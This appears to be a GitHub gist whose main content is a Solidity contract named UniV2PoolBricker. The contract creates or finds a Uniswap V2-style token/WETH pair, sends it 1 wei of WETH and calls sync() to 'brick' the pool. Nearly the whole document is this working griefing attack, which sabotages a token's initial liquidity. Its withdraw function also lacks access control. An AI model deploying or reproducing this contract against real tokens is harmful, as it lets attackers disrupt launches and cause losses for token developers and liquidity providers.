Created
January 15, 2025 23:43
-
-
Save OxMarco/2934193823fc2069737e7f96cafe9da0 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.24; | |
import {IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; | |
import {IPairFactory} from "./IPairFactory.sol"; | |
import {IPair} from "./IPair.sol"; | |
contract UniV2PoolBricker { | |
address public constant weth = 0xe5D7C2a44FfDDf6b295A15c148167daaAf5Cf34f; | |
event PoolBricked(address indexed pair); | |
error WrappingFailed(); | |
error PoolCreationFailed(); | |
function brickPool(address factory, address token) external payable { | |
(bool success, ) = weth.call{value: msg.value}(""); | |
if(!success) revert WrappingFailed(); | |
address pair = IPairFactory(factory).getPair(token, weth, false); | |
if (pair == address(0)) { | |
pair = IPairFactory(factory).createPair(token, weth, false); | |
} | |
if(pair == address(0)) revert PoolCreationFailed(); | |
IERC20(weth).transfer(pair, 1); | |
IPair(pair).sync(); | |
emit PoolBricked(pair); | |
} | |
function withdraw(address _token) external { | |
IERC20 token = IERC20(_token); | |
uint256 balance = token.balanceOf(address(this)); | |
token.transfer(msg.sender, balance); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment